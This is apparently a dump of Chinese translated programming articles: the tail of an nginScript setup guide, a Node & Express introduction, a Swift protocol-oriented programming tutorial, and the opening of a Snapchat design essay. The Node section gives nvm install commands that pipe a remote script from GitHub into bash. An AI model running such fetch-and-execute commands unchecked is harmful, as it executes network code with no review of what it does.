req.Host=127.0.0.1 req.User-Agent=curl/7.47.0 req.Accept=*/* res.Cache-Control=max-age=604800 res.Etag=\\x22359670651+ident\\x22 res.Expires='Tue, 21 Mar 2017 14:36:53 GMT' res.Last-Modified='Fri, 09 Aug 2013 23:54:35 GMT' res.Vary=Accept-Encoding res.X-Cache=HIT\n```\n\nnginScript 的许多功能都来自它访问 NGINX 内部的能力。这个例子使用了一些[请求与响应对象的属性](http://nginx.org/en/docs/http/ngx_http_js_module.html#arguments)。nginScript 针对 TCP 和 UDP 的流模块使用了一个[session 对象和它的属性集](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#properties)。查看我们的博客可以得到更多 nginScript 解决方案的例子。\n\n- HTTP - [使用 nginScript 逐步迁移客户端到新的服务器](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)\n- 流（Stream） – [Galera 集群负载均衡过程中 SQL 方法的日志记录](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product#nginscript-logging-galera)\n\n我们会很乐意了解你们想到的 nginScript 用例 - 请在评论里告诉我们。\n\n---\n\n## 在 NGINX 和 NGINX Plus 中开始使用 nginScript\n\n- [给 NGINX Plus 装载 nginScript](#nginscript-nginx-plus-load)\n- [给开源 NGINX 装载 nginScript](#nginscript-oss-load)\n- [给开源 NGINX 编译动态 nginScript 模块](#nginscript-oss-compile)\n\n### 给 NGINX Plus 装载 nginScript\n \nnginScript 是 NGINX Plus 订阅者可以免费使用的[动态模块](https://www.nginx.com/products/dynamic-modules/)（关于开源 NGINX，请参考下面[给开源 NGINX 装载 nginScript](#nginscript-oss-load)的部分。）\n\n1. 从 NGINX Plus repository 获取并安装 nginScript 模块\n\n- Ubuntu 和 Debian 系统使用下面的命令：\n\n```\n$ sudo apt‑get install nginx-plus-module-njs\n```\n\n- RedHat、CentOS 和 Oracle Linux 系统使用下面的命令：\n\n```\n$ sudo yum install nginx-plus-module-njs\n```\n\n2. 我们可以在配置文件 **nginx.conf** 的顶级 context 下（\"main\"）加入一条配置指令[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module)，用来给 HTTP 流量加载 nginScript 模块（注意不是在 http 或者 stream 的 context 下）：\n\n```\nload_module modules/ngx_http_js_module.so;\n```\n\n3. 重新加载 NGINX Plus，将 nginScript 模块载入到正在运行的实例中。\n\n```\n$ sudo nginx -s reload\n```\n\n### 给开源 NGINX 装载 nginScript\n\n如果你的系统配置了官方的[开源 NGINX 预建包（pre‑built packages）](http://nginx.org/en/linux_packages.html#mainline)，并且你安装的版本在 1.9.11 或以上，你可以直接将 nginScript 安装为平台的预建包（pre‑built packages）。\n\n1. 安装预建包（pre‑built packages）\n\n- Ubuntu 和 Debian 系统使用下面的命令：\n\n```\n$ sudo apt-get install nginx-module-njs\n```\n\n- RedHat、CentOS 和 Oracle Linux 系统使用下面的命令：\n\n```\n$ sudo yum install nginx-module-njs\n```\n\n2. 我们可以在配置文件 **nginx.conf** 的顶级 context 下（\"main\"）加入一条配置指令[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module)，用来给 HTTP 流量加载 nginScript 模块（注意不是在 http 或者 stream 的 context 下）：\n\n```\nload_module modules/ngx_http_js_module.so;\n```\n\n3. 重新加载 NGINX Plus，将 nginScript 模块载入到正在运行的实例中。\n\n    $ sudo nginx -s reload\n\n### 给开源 NGINX 编译动态 nginScript 模块\n\n如果你更喜欢直接从源代码编译出一个 NGINX 模块：\n\n1. 跟随 [这些操作说明](https://www.nginx.com/blog/compiling-dynamic-modules-nginx-plus/)，使用[开源 repository ](http://hg.nginx.org/njs/)构建 nginScript 模块。\n2. 将这个模块的二进制文件(**ngx_http_js_module.so**)拷贝到 NGINX 根目录（通常是 **/etc/nginx/modules**）下的 **modules** 子目录下。\n3. 完成 [给开源 NGINX 装载 nginScript ](#nginscript-oss-load&quot;)的第二步和第三步。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/introduction-to-node-express.md",
    "content": "> * 原文地址：[Introduction to Node & Express](https://medium.com/javascript-scene/introduction-to-node-express-90c431f9e6fd#.xffyxajza)\n* 原文作者：[Eric Elliott](https://medium.com/@_ericelliott)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Mark](https://github.com/marcmoore)，[Shangbin Yang](https://github.com/rccoder)\n\n# Node & Express 入门指南\n\n> 本系列文章为[跟 Eric Elliott 学 JavaScript](https://ericelliottjs.com/product/lifetime-access-pass/) 的会员提供了配套的视频和练习，会员可点击查看视频教程：[“Node & Express 入门指南”视频教程](https://ericelliottjs.com/premium-content/introduction-to-node-express/)。还不是会员？[马上注册](https://ericelliottjs.com/product/lifetime-access-pass/)。\n\n* * *\n\nNode 是一个 JavaScript 环境，使用了与谷歌 Chrome 浏览器相同的 JavaScript 引擎。Node 具有非常强大的功能，无论对 web 服务器还是 web 服务器的平台 API 来说，它都是搭建服务端应用中间层的诱人之选。\n\n非阻塞事件驱动的 I/O 模型给予 Node 非常强大的性能，轻而易举地就能打败阻塞 I/O 和分线程处理多用户并发的线程服务器环境，比如 PHP 和 Ruby on Rails。\n\n我曾经将千万级用户的 app 产品从 PHP 和 Ruby on Rails 环境迁移至 Node 环境，并实现了响应处理时间和单服务器多用户并发状况处理 2-10 倍的性能提升。\n\n**Node 的特征：**\n\n* 快！（默认为非阻塞 I/O）\n* 事件驱动\n* 一流的网络性能\n* 一流的流媒体接口\n* 用于接入操作系统和文件系统等的强大的标准库\n* 支持编译的二进制模块，以便用户可以用其他更为基础的语言（如 C++）实现 Node 的强大性能\n* 深受许多大企业的信赖和支持，并用于运行关键任务应用（如：Adobe, Google, Microsoft, Netflix, PayPal, Uber, Walmart 等）\n* 易于上手\n\n### 安装 Node\n\n入圈之前，要确保已经安装了 Node。Node 一般提供两个版本，长期支持版本（即 LTS 版本，稳定）和最新版本。如果用于生产项目，你应该使用长期支持版本，如果想使用最前沿的功能则应选择最新版本。\n\n#### Windows\n\n访问[Node 官网](https://nodejs.org/en/)并且点击绿色的安装按钮。\n\n#### Mac 或者 Linux\n\n在 Mac 或者 Linux 系统上，我最喜欢的方式是用 nvm 安装 Node。\n\n你可以使用 install script 来安装或者升级 nvm，使用 curl：\n\n    `curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.32.1/install.sh | bash`\n\n或者 Wget：\n\n    `wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.32.1/install.sh | bash`\n\n安装好 nvm 后，你可以用它来安装各种版本的 Node。\n\n### Hello, World! 实例\n\nNode & Express 非常简单，你可以仅用 12 行代码就能够实现一个基本的 web 服务器来实现 “Hello,world!” ：\n\n```\n    const express = require('express');\n\n    const app = express();\n    const port = process.env.PORT || 3000;\n\n    app.get('/', (req, res) => {\n      res.send('\\n\\nHello, world!\\n\\n');\n    });\n\n    app.listen(port, () => {\n      console.log(`listening on port ${ port }`);\n    });\n```\n\n在代码运行之前，你需要创建你的应用。从创建一个新的 git 仓库开始：\n\n```\n    mkdir my-node-app && cd my-node-app\n    git init\n```\n\n你需要一个  `package.json` 文件来存储应用的配置信息，你可以用 Node 中自带的 `npm` 来创建：\n\n    `npm init`\n\n填写一些问题（应用名称、git 仓库等）之后你就可以准备部署应用了。接下来你需要安装 Express：\n\n    `npm install --save express`\n\n依赖安装完之后，你可以输入以下命令来运行你的应用：\n\n    `node index.js`\n\n用 `curl` 来测试：\n\n    `curl localhost:3000`\n\n或者在浏览器中访问 `localhost:3000`。\n\n搞定了！你已经搭建了你的首个 Node 应用。\n\n### 环境变量\n\n你可以使用环境变量来配置你的 Node 应用，这样就能很容易地因地制宜切换不同的配置，比如在开发者本地环境，测试环境以及生产环境下使用对应的配置。\n\n你应该使用环境变量给应用注入应用密文，如 API 的 key，而不是在源代码控制中对其进行校验。一些开发环境使用 `.env` 文件来保存应用的配置信息，但是你可能对此充满了疑问，“我如何才能将 .env 文件中的设置加载到应用的环境变量中去呢？”\n\n要想解决这个问题，不妨来试试 [dotenv](https://github.com/motdotla/dotenv) 的 Node 版本：\n\n    `npm install --save dotenv`\n\n然后在入口文件顶部添加：\n\n    `require('dotenv').config();`\n\n现在你能从 `.env` 文件中加载 `port` 的设置了，接下来在项目的根目录下新建一个名为 `.env` 的文件：\n\n    `PORT=5150`\n\n保存，重启应用，之后你会看到：\n\n    `listening on port 5150`\n\n如果你不想将 `.env` 文件提交到 Git，你需要将它添加到 `.gitignore` 文件中。事实上，我们还需要将一些其他的内容添加进去：\n\n```\n    node_modules\n    build\n    npm-debug.log\n    .env\n    .DS_Store\n```\n\n如果你还是想记录应用所需的配置信息，我通常喜欢添加一份 `.env` 文件的副本，并将应用密文写进去。新用户可以复制该文件，将其命名为 `.env` 并自定义设置选项、关闭文件然后运行。我会将提交的副本文件命名为 `.env.example` 并在项目的 `README.md` 文件中写一份开发指南。\n\n[可将应用的配置项写入 `.env.example` 文件，并将敏感配置信息以加密形式处理，仅作为配置内容示例，译者注。]\n\n```\n    PORT=5150\n    AWS_KEY=\n```\n\n你应该注意，如我所言，所有的应用密文全都要写在 `.env.example` 文件中。\n\n> 不要将你的应用密文提交到 Git 仓库。\n\n### 测试 Node 应用\n\n我喜欢用 [Supertest](https://github.com/visionmedia/supertest) 来测试 Node 应用，它会抽象出 http 连接问题，并且提供一个简单、流畅的 API。我用 [functional tests](https://www.sitepoint.com/javascript-testing-unit-functional-integration/) 进行 http 端点测试，它让我不必担心模拟数据库等问题。我只需要点击 API 并传入一些值，然后静候一个具体的响应。\n\n以下是一个使用 Supertest 和 [Tape](https://medium.com/javascript-scene/why-i-use-tape-instead-of-mocha-so-should-you-6aa105d8eaf4) 测试的一个简单的实例：\n\n```\n    const test = require('tape');\n    const request = require('supertest');\n\n    const app = require('app');\n\n    test('get /', assert => {\n      request(app)\n        .get('/')\n        .expect(200)\n        .end((err, res) => {\n          const msg = 'should return 200 OK';\n          if (err) return assert.fail(msg);\n          assert.pass(msg);\n          assert.end();\n        });\n    });\n```\n\n我也会给任何我用于构建 API 的稍小的、可重用的模块写[单元测试](https://medium.com/javascript-scene/what-every-unit-test-needs-f6cd34d9836d)。\n\n需要注意的是，我们直接导入了快速应用，而没有使用网络。Supertest 并不需要读取应用配置来确定连接端口，它将所有的细节都封装起来，为了能够正常工作，你需要在应用文件中导出你的应用。\n\n    `module.exports = app;`\n\n基于这样和那样的原因，我将应用分割成许多不同的切片，在 `app.js` 中搭建并配置应用，在 `server.js` 中导入应用，在 `app.listen()` 中处理网络细节。\n\n#### 设置 Node 路径\n\n当你将应用划分为多个模块时，你将会对相对路径的引入关系感到不胜其烦：\n\n    `const app = require('../../app');`\n\n幸运的是，你不需要这样做。把你的应用文件放在名为 `source` 或者 `src` 的目录中，然后设置 `NODE_PATH` 环境变量。你可以使用 `cross-env` 设置环境变量，使他们可以跨平台使用（可以在 Windows 下读取并运行应用）。\n\n    `npm install --save cross-env`\n\n之后，你可以很安全地在 `package.json` 脚本中设置环境变量：\n\n```\n     \"scripts\": {\n        \"start\": \"cross-env NODE_PATH=source node source/server.js\",\n        \"debug\": \"cross-env NODE_PATH=source node --debug-brk --inspect source/server.js\",\n        \"test\": \"cross-env NODE_PATH=source node source/test/index.js\"\n      }\n```\n\n设置 `NODE_PATH` 之后，你可以这样引入模块：\n\n    `const app = require('app');`\n\n超赞！\n\n### 中间件\n\n[Express](http://expressjs.com/) 是 Node 应用中最流行的框架，它使用延续传递的方式实现中间件。如果你有可能在许多路由中都会运行相同的代码，也许最好的方式是将它们写入中间件。\n\n中间件其实是一个函数，他能够调用一个名为 `next()` 的函数，来传递请求和响应对象。假如你想在每个请求和响应中都添加一个 `requestId` ，从而能够很方便地在调试中追踪单个请求或者在日志中搜索内容，你可以写一个像这样的中间件：\n\n```\n    require('dotenv').config();\n    const express = require('express');\n    const cuid = require('cuid');\n\n    const app = express();\n\n    // 请求 id 的中间件\n    const requestId = (req, res, next) => {\n      const requestId = cuid();\n      req.id = requestId;\n\n      // 延续传递至下一个中间件\n      next();\n    };\n\n    app.use(requestId);\n\n    app.get('/', (req, res) => {\n      res.send('\\n\\nHello, world!\\n\\n');\n    });\n\n    module.exports = app;\n```\n\n### 内存管理\n\n因为 Node 是单线程的，这也意味着所有的用户都会共享同一块内存空间。换句话说，不像是在浏览器中，你不得不当心不要在闭包函数中保存某个特定用户的数据，因为其他的连接可能会拿到那些数据。正因如此，我喜欢用 `res.locals` 来存储当前用户的信息，这只在该用户的请求和响应循环中可用。\n```\n    app.use((req, res, next) => {\n        res.locals.user = req.user;\n        res.locals.authenticated = !req.user.anonymous;\n        next();\n    });\n```\n\n这也是一个用来存储上文提到的 `requestId` 的更好的办法。\n\n### 调试 Node 应用\n\nNode v6.4.x+ 版本中集成了完整的 Chrome 调试工具，因此你可以像在浏览器中调试 JS 应用一样调试 Node。\n\n要使用调试功能，你只需简单的在断点处添加一个调试声明，然后运行：\n\n    `node --debug-brk --inspect source/app.js`\n\n在浏览器中打开所提供的 URL，之后你就能得到一个交互式的调试环境。\n\n![](https://d262ilb51hltx0.cloudfront.net/max/1600/1*U0VOYcBh6FBzVhtsjqvf4Q.png)\n\n我会使用 `--debug-brk` 默认地在起点设置一个断点，但是你也可以取消。要记住，你可能需要在浏览器中点击路由或者从 curl 中触发路由处理机制并且点击你的断点位置。\n\n你可能知道的，Chrome 的开发工具集成了非常有价值的调试信息。你能够浏览、检查内存管理并监控内存泄漏、一次只执行一行代码、鼠标悬停在变量上来查看变量的值等等。\n\n### 应用崩溃\n\n进程崩溃。众生皆如此，你的服务器在运行中可能会遭遇一个它无法处理的错误。不要苦恼，记录下错误信息，关闭服务器然后重新运行一个新的实例。\n\n你绝对不能像这样做：\n\n```\n    process.on('uncaughtException', (err) => {\n      console.log('Oops!');\n    });\n```\n\n当出现未捕获的异常时，你必须关闭进程，因为从定义上来讲，如果你不知道应用哪里出了问题，你的应用就处在一种不可知不明确的状态，并且随处都有可能产生错误。\n\n你可能会造成资源泄漏，用户可能看到错误的数据，你可能会得到各种疯狂的不明确的应用操作。当产生一个你意料之外的异常时，记录下错误信息，清理所有你能清理的资源，并且关闭进程。\n\n我用 Node 写了一个优雅的错误处理模块，在此检出 [express-error-handler](https://github.com/ericelliott/express-error-handler)。\n\n#### 崩溃修复\n\n有各种各种的服务器监控工具可以检测崩溃并且修复服务来保持应用运行流畅，即使是遇到了未知异常，它们同样有效。\n\n我极力推荐 [PM2](http://pm2.keymetrics.io/) ，因为不光我在使用它而且它也深受许多公司的信赖，比如 Microsoft，IBM 和 PayPal。\n\n安装的时候，运行 `npm install -g pm2`，在本地安装就使用 `npm install --save-dev pm2` 命令。之后你就可以使用 `pm2 start source/app.js` 来运行应用了。\n\n你可以用 `pm2 list` 管理运行的应用实例，也可以使用 `pm2 stop` 来终止实例。查看更多细节请点击 [quick start](http://pm2.keymetrics.io/docs/usage/quick-start/)。\n\n福利：PM2 能配置集成 [Keymetrics](https://keymetrics.io/)，它能以非常友好的 web 界面为你的生产应用实例提供很棒的调试意见。\n\n### 小结\n\n我们仅仅是蜻蜓点水一般地了解了 Node，还有很多的东西需要我们去学习，包括会话管理、token 验证、API 设计等等。我对其中一些内容做了更深刻地阐释，详见 [“Programming JavaScript Applications”](http://pjabook.com/)（免费）。\n\n* * *\n\n想学习更多 Node 的知识？我们为 EricElliottJS.com 的会员发行了新的 Node 视频系列，如果你不是会员，那么好机会就与你擦肩而过啦！\n\n* * *\n\n**_Eric Elliott_**是 [**_“Programming JavaScript Applications”_**](http://pjabook.com/)(O’Reilly) 和 [**_“Learn JavaScript with Eric Elliott”_**](http://ericelliottjs.com/product/lifetime-access-pass/) 的作者。他曾在 **_Adobe Systems_**_,_ **_Zumba Fitness_**_,_ **_The Wall Street Journal_**_,_**_ESPN_**_,_ **_BBC_** 的软件开发领域立下汗马功劳，也曾为顶级唱片大师 **_Usher_**_,_ **_Frank Ocean_**_,_**_Metallica_** 等人量身定制。\n\n**他的大部分时光都是和世界上最美丽的女人在旧金山海湾地区度过的。**\n"
  },
  {
    "path": "TODO/introduction-to-protocol-oriented-programming-in-swift.md",
    "content": "> * 原文地址：[Introduction to Protocol Oriented Programming in Swift](https://medium.com/ios-geek-community/introduction-to-protocol-oriented-programming-in-swift-b358fe4974f#.ezvkbpy7o)\n* 原文作者：[Bob Lee](https://medium.com/@bobleesj?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Danny Lau](https://github.com/Danny1451)\n* 校对者：[Tuccuay](https://github.com/Tuccuay) [lovelyCiTY](https://github.com/lovelyCiTY)\n\n# Swift 面向协议编程入门 #\n\n## 面向对象编程的思想没毛病，但老铁你可以更 666 的 ##\n\n![](https://cdn-images-1.medium.com/max/2000/1*5yuIezhfETFouNNTablgSA.jpeg)\n\n上图这个人不是我，但这就是使用面向协议编程替换掉面向对象编程之后的感觉。\n\n#### 介绍 ####\n\n这个教程也是为了那些不知道类和结构体根本区别的人写的。我们都知道在结构体里是没有继承的，但是为什么没有呢？\n\n如果你不知道上面问题的答案，那么花几秒钟看下下面的代码。请再次原谅我的排版，我已经让它尽可能的简单明了了。\n\n>注：译者已经改过排版了🤔\n\n```\nclass HumanClass {\n    var name: String\n    init(name: String) {\n        self.name = name\n     } \n}\n\nvar classyHuman = HumanClass(name: \"Bob\")\nclassyHuman.name // \"Bob\"\n\nvar newClassyHuman = classyHuman // Created a \"copied\" object\n\nnewClassyHuman.name = \"Bobby\"\nclassyHuman.name // \"Bobby\"\n\n```\n\n当我把 newClassyHuman 的 name 属性设为 “Bobby” 之后，原来对象 classyHuman 的 name 属性也会变成 “Bobby” 。\n\n现在，让我们来看一下结构体的情况。\n\n```\nstruct HumanStruct {\n\tvar name: String \n}\n \nvar humanStruct = HumanStruct(name: \"Bob\" )\nvar newHumanStruct = humanStruct // Copy and paste\n\nnewHumanStruct.name = \"Bobby\"\nhumanStruct.name // \"Bob\"\n\n```\n\n你看到它们的不同之处了么？对拷贝出来的对象的 name 属性的改变并没有影响到原有的 humanStruct 对象。\n\n在类中，当你对一个变量进行拷贝的时候，两个变量都指向内存中的同一个对象。两个中的任何一个变量中的改变都会影响另外一个变量（引用类型）。然而在结构体中，你是通过创建了一个新的对象（值类型）来实现简单的拷贝和复制的。\n\n如果你还没有理解的话，试着把之前那一段再看一遍。如果还是不理解的话，你可以看下我做的这个视频。\n\n[结构体 vs 类课程](https://www.youtube.com/watch?v=MNnfUwzJ4ig)\n\n#### 再见面向对象编程 ####\n\n你可能会很奇怪为什么我所讲的这些好像和面向协议编程的话题一点关系都没有。然而，在我讲使用面向协议编程替换面向对象编程的好处之前，是必须要理解引用类型和值类型的区别的。\n\n使用面向对象编程当然有优点的，但是相对的缺点也存在。\n\n1. 当时构建子类的时候，你必须继承一些你不需要的属性和方法。你的对象变得不必要的虚胖。\n\n2. 当时使用了大量的父类（太多继承层级），在不同的类里面跳来跳去编写代码或者修复 bug 都会变得非常棘手。\n\n3. 因为对象都是指向内存中的同一个空间，如果你创建了一个拷贝，并且对它的属性进行了一点小改动，它会影响到其余的对象。（引用导致的易变性）\n\n顺便说一下，来看一下 UIKit 框架是怎么用面向对象编程来写的。\n\n![2015 WWDC_Hideous Structure](https://cdn-images-1.medium.com/max/800/1*hjEXB3PGUOSbxet0qUJRNA.png)\n\n\n如果你作为软件工程师第一次去苹果工作的话，你能使用这些代码么？我的意思是我们开发者在界面层使用中都有过很痛苦的经历。\n\n**有人说过面向对象编程就是通过模块化的模式来写意大利面条式的代码。如果你想找到更多关于面向对象编程的缺点的话，看这里的**[**咆哮 1**](http://krakendev.io/blog/subclassing-can-suck-and-heres-why) 、[**咆哮 2**](https://blog.pivotal.io/labs/labs/all-evidence-points-to-oop-being-bullshit) 、[**咆哮 3**](http://www.smashcompany.com/technology/object-oriented-programming-is-an-expensive-disaster-which-must-end) 、[**咆哮 4**](https://www.leaseweb.com/labs/2015/08/object-oriented-programming-is-exceptionally-bad/) 。\n\n#### 欢迎使用面向协议编程 ####\n\n你可能已经猜到了，和类不一样的是，面向协议编程的基础是值类型。不再是引用了，和你之前看到的金字塔结构不一样，面向协议所提倡的是扁平化和去嵌套的代码。\n\n可能会有点吓到你，我将引出的是苹果的定义。\n\n“协议定义了方法、属性的蓝图…… 然后类、结构体或枚举类型都能够使用协议” — 苹果\n\n你现在唯一需要记住的就是这个词语，“蓝图”。\n\n协议就好像是一个篮球教练，他告诉他的队员该怎么做，但是他却不知道怎么扣篮。\n\n#### 真正的使用面向协议编程 ####\n\n首先，我们来生成人的蓝图。\n\n```\nprotocol Human {\n\tvar name: String { get set }\n\tvar race: String { get set }\n\tfunc sayHi() \n}\n```\n\n就像你看到的，在协议里是没有真正的”扣篮“。它只会告诉你有那么个东西的存在。顺便说一下，现在你不需要担心 { get set } 。它只是表示你可以改变这个属性的值并能够获取这个属性。除非你用的是一个计算属性话，现在是不用担心的。\n\n现在让我们通过这个协议来写一个韩国人 🇰🇷 结构体\n\n```\nstruct Korean: Human {\n\tvar name: String = \"Bob Lee\"\n\tvar race: String = \"Asian\"\n\tfunc sayHi() {\n \t\tprint(\"Hi, I'm \\(name)\") \n \t}\n}\n```\n\n一旦这个结构体采用了人类这个协议，它就必须”遵循”这个协议，实现它的所有属性和方法。如果不这么做的话, Xcode 会警报，当然左边也会报错 😡 。\n\n就像你看到的，为了满足蓝图你能够自定义所有的协议。你甚至可以建造一个“围墙”。\n\n当然，对美国人 🇺🇸 来说也是一样的。\n\n```\nstruct American: Human {\n var name: String = \"Joe Smith\"\n var race: String = \"White\"\n func sayHi() { print(\"Hi, I'm \\(name)\") }\n}\n```\n\n是不是相当酷？看看不再使用 “init” 和 “override” 关键词之后你拥有了多少自由。它是不是开始变得有点意思了？\n\n[协议介绍课程](https://www.youtube.com/watch?v=lyzcERHGH_8&amp;t=2s&amp;list=PL8btZwalbjYm5xDXDURW9u86vCtRKaHML&amp;index=1)\n\n#### 协议继承 ####\n\n如果你想创建一个继承人类协议蓝图的超人协议该怎么办呢？\n\n```\nprotocol SuperHuman: Human {\n\tvar canFly: Bool { get set } \n\tfunc punch()\n}\n```\n\n现在，如果你想生成一个采用超人协议的结构体或者类的话，你必须也要让它满足人类的协议。\n\n```\n// 💪 超过 9000\nstruct SuperSaiyan: SuperHuman {\n\tvar name: String = \"Goku\"\n\tvar race: String = \"Asian\"\n\tvar canFly: Bool = true\n\tfunc sayHi() { \n\t\tprint(\"Hi, I'm \\(name)\") \n\t}\n\tfunc punch() { \n\t\tprint(\"Puuooookkk\") \n\t} \n}\n```\n\n那些理解不了的人，看下这个[视频](https://www.youtube.com/watch?v=5196mjp9fcU)\n\n当然，你可以像在类上面一样遵循多个协议。\n\n```\n// 例子\nstruct Example: ProtocolOne, ProtocolTwo { }\n```\n\n[协议继承课程](https://www.youtube.com/watch?v=uT7AZQBD6-w&amp;list=PL8btZwalbjYm5xDXDURW9u86vCtRKaHML&amp;index=2) \n\n#### 协议扩展 ####\n\n现在，这是使用协议最强大的特点了，我不认为我需要讲太多。\n\n```\n// 会说英语的超级动物\nprotocol SuperAnimal {\n\tfunc speakEnglish()\n}\n```\n\n给 SuperAnimal 增加一个扩展\n\n```\nextension SuperAnimal {\n\tfunc speakEnglish() { \n\t\tprint(\"I speak English, pretty cool, huh?\")\n\t}\n}\n```\n\n现在，让我们来创建一个采用 SuperAnimal 协议的类。\n\n\n```\nclass Donkey: SuperAnimal { }\nvar ramon = Donkey() \nramon.speakEnglish() //  \"I speak English, pretty cool, huh?\"\n```\n\n如果你使用扩展的话，你能够给类，结构体和枚举增加默认方法和属性。它难道不神奇么？我发现这是真正的金块啊。\n\n顺带提一下，如果你没有理解的话，你可以看[这个](https://www.youtube.com/watch?v=MzLEjzvygYE)\n\n[Protocol Extension Lesson](https://www.youtube.com/watch?v=ZydVdiFj3WM&amp;list=PL8btZwalbjYm5xDXDURW9u86vCtRKaHML&amp;index=3)\n\n#### 协议作为类型 (Last) ####\n\n如果我告诉你不需要类型修饰就能够生成一个既包含结构体对象又有类对象的数组呢？\n\n就是这样。\n\n我用为获得雌性配偶而打架的袋鼠来举个例子。如果你不相信我的话，看看这个[袋鼠打架](https://www.youtube.com/watch?v=WCcLMNcWZOc&amp;t=129s) \n\n```\nprotocol Fightable {\n\tfunc legKick() \n}\n \nstruct StructKangaroo: Fightable {\n\tfunc legKick() {\n\t\tprint(\"Puuook\")\n\t}\n}\n \nclass ClassKangaroo: Fightable { \n\tfunc legKick() {\n\t\tprint(\"Pakkkk\") \n\t}\n}\n```\n\n来，我们生成两个袋鼠对象\n\n```\nlet structKang = StructKangaroo()\nlet classKang = ClassKangaroo()\n```\n\n现在，你可以把它们放到一个数组里了。\n\n```\nvar kangaroos: [Fightable] = [structKang, classKang]\n```\n\n厉害了我的哥，这是真的么？😱 看看这个\n\n```\nfor kang in kangaroos {\n\tkang.legKick()\n}\n// \"Puuook\"\n// \"Pakkkk\"\n```\n\n这个难道不巧妙么？你在面向对象编程中怎么可能实现这个效果... 封面的图片是不是对你来说已经有意义了？面向协议编程纯粹是金子啊。\n\n[协议类型课程](https://www.youtube.com/watch?v=PxWoWmJAMiA&amp;list=PL8btZwalbjYm5xDXDURW9u86vCtRKaHML&amp;index=4)\n\n![](https://cdn-images-1.medium.com/max/1000/1*6gtsyoBiGnwGpE9gFITlSw.png)\n\n现在是免费的，直到它发布之前:)\n\n#### **最后提示** ####\n\n如果你觉得这个教程有用的话，而且你认为我做了一个很棒的事情，请 ❤️ 我并且分享到你的社交圈中。我发誓，更多的 iOS 开发者都该应该使用面向协议编程 ！我也在努力中，所以才写了这个文章，但是为了更大的影响我需要你的支持。\n\n#### 公开感谢 ####\n\n特别感谢那些参与和指出各处问题的人们。[Kilian Költzsch](https://medium.com/u/349636c3001c) , [Erik Krietsch](https://medium.com/u/dd5ed617a156), [Özgür Celebi](https://medium.com/u/25d83dd03e02) , [Sanchika Singh Rana](https://medium.com/u/77243d9a97fe), [Frederick C. Lee](https://medium.com/u/371511f27079) , [moh tabi](https://medium.com/u/21b724ed8bc8) , [october hammer](https://medium.com/u/5b8a0ae35a7d) , [Anthony Kersuzan](https://medium.com/u/a650a21c13f1) , [Kenneth Trueman](https://medium.com/u/1d5eb30a7418) , [Wilson Balderrama](https://medium.com/u/15294c9ab368) , [Rowin](https://medium.com/u/1231cd205c16) , [Quang Dinh Luong](https://medium.com/u/c71180f83786) , [Oren Alalouf](https://medium.com/u/52c31b8c769d) , [Peter Witham](https://medium.com/u/471adcab696e) , [Victor Tong](https://medium.com/u/449b3f6dffd5).\n\n### 预告 ###\n\n这个周六，我将写一些关于在 Swift 3 中如何通过协议实现代理的设计模式的东西。有些人让我写这个，所以我决定听你们的。如果你想要快速更新或者请求我的文章的话，你可以关注我[**Facebook Page**](https://www.facebook.com/bobthedeveloper/)，那里我和我的读者有很多的互动。再见！\n"
  },
  {
    "path": "TODO/intuitive-design-vs-shareable-design.md",
    "content": "* 原文地址：[Intuitive Design vs. Shareable Design](https://news.greylock.com/intuitive-design-vs-shareable-design-88ff6bb184bb#.pvcpqeddr)\n* 原文作者：[Josh Elman ]( https://news.greylock.com/@joshelman)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[特伦](https://www.behance.net/Funtrip)\n* 校对者：[marcmoore](http://ucashin.com)、[L9m](http://liudm.me)\n\n# **直观设计 VS. 共享式设计**\n\nSnapchat 的界面使很多人困惑。这并不是欺负老年人，而是稍微有些年纪的人都会遇到，他们想在Snapchat里处理一些基础操作都很困难。比如说找到它的换脸功能。我无法告诉你有多少人曾向我抱怨 Snapchat。「噢，我想不明白，」他们很苦恼，「为什么它那么复杂？」\n\n我在这里就是想要告诉你，Snapchat 里那些隐晦的设计不是一个 bug，而是一个 feature。就像 Tinder，它的设计非常吸引用户并鼓励他们与其他用户分享使用的经验。实际上，这是一个能[让 Snapchat 如此成功](http://www.wsj.com/articles/snap-begins-the-ipo-process-1479244471)的关键点。\n\nSnapchat 是被我所称为的「共享式设计」中的一个最好的例子。对于那些在成长过程中一直把「直观设计」作为终极理想的人来说，这种新方向有点突兀。但一旦你弄懂它是如何运作的，你将会认为它是非常有道理的。\n\n#### **直观设计的革命** \n\n我不是想要贬低直观设计。实际上，当上个世纪 80 年代直观设计出现的时候，这对于过去的计算机界面来说是一个巨大的飞跃，从上个世纪 60 年代到 